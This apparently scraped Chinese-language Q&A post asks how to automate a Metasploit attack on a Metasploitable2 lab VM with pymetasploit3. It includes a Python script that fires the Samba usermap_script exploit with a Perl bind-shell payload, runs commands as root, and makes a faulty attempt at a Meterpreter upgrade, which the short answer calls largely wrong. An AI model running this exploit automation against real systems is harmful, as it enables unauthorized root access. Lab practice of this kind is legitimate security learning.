【问题标题】:Escalation from shell to meterpreter linux metasploitable2 automation using pymetasploitable3 and metasploit(msf) console使用 pymetasploitable3 和 metasploit(msf) 控制台从 shell 升级到 Meterpreter linux metasploitable2 自动化
【发布时间】:2021-09-02 21:14:00
【问题描述】:

我试图通过在我的 Kali VM 上运行 python 脚本来在 metasploitable2 VM 上打开一个 Meterpreter shell。所有都连接到同一个内部 nat 网络。

我的道德黑客目标是尝试执行利用和利用后的自动化 (pymetasploit3)。

到目前为止,我可以使用我的 python3 脚本来导入库 pymetasploit3.msfrpc,另外还可以使用 msfconsole 打开会话并发出正常的 Linux 终端命令。

我的利用代码:(test2.py)

import time 
from pymetasploit3.msfrpc import MsfRpcClient 
client = MsfRpcClient('mypassword', port=55552)
exploit = client.modules.use('exploit', 'multi/samba/usermap_script') #defining exploit to use
exploit['RHOSTS'] = "10.0.2.4" #metasploitable VM
exploit['RPORT'] = "139" #samba port
exploit.target = 0
payload = client.modules.use('payload', 'cmd/unix/bind_perl') #defining exploit's payload to use
payload['LPORT'] = 4444
time.sleep(10) #allow time for msfconsole to open command session
exploit.execute(payload=payload)
shell = client.sessions.session(list(client.sessions.list.keys())[0])
shell.write('whoami') #issuing commands to now opened shell
print(shell.read()) #result = root
shell.write('hostname') 
print(shell.read()) #result = metasploitable

我一直在关注meterpreter escalation的本指南

我的开发后代码(从 test2.py 中的先前代码继续):

payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter') #same explotation but different payload
payload1['LPORT'] = 8080
payload1['SESSION'] = 1
exploit.execute(payload=payload1)
shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())
shell.write('hostname')
print(shell.read())

来自 msfconsole 的结果(包括初始设置和结果):

msfconsole #loads...
load msgrpc Pass=mypassword
#MSGRPC success messages
#loaded plugin: msgrpc
Command shell session 1 opened (0.0.0.0:0 -> 10.0.2.4:4444) at... #normal shell session active

运行实际的python代码(test2.py): 第 197 行指的是:

payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter')

我想知道正确执行此利用后自动化的正确方法是什么,以及为什么第二个有效负载不起作用...

此外,如果有更简单的方法可以使用类似的自动化方法打开meterpreter,欢迎提出建议。谢谢

【问题讨论】:

    标签: python python-3.x linux metasploit kali-linux


    【解决方案1】:

    很多事情都是错误的,但解决方案是在单独的脚本中运行它,然后切换到meterpreter会话。

    【讨论】:

      猜你喜欢
      • 2020-12-05
      • 2020-03-26
      • 1970-01-01
      • 2020-11-26
      • 2021-05-02
      • 2021-12-28
      • 2021-08-24
      • 2023-04-10
      • 1970-01-01
      相关资源
      最近更新 更多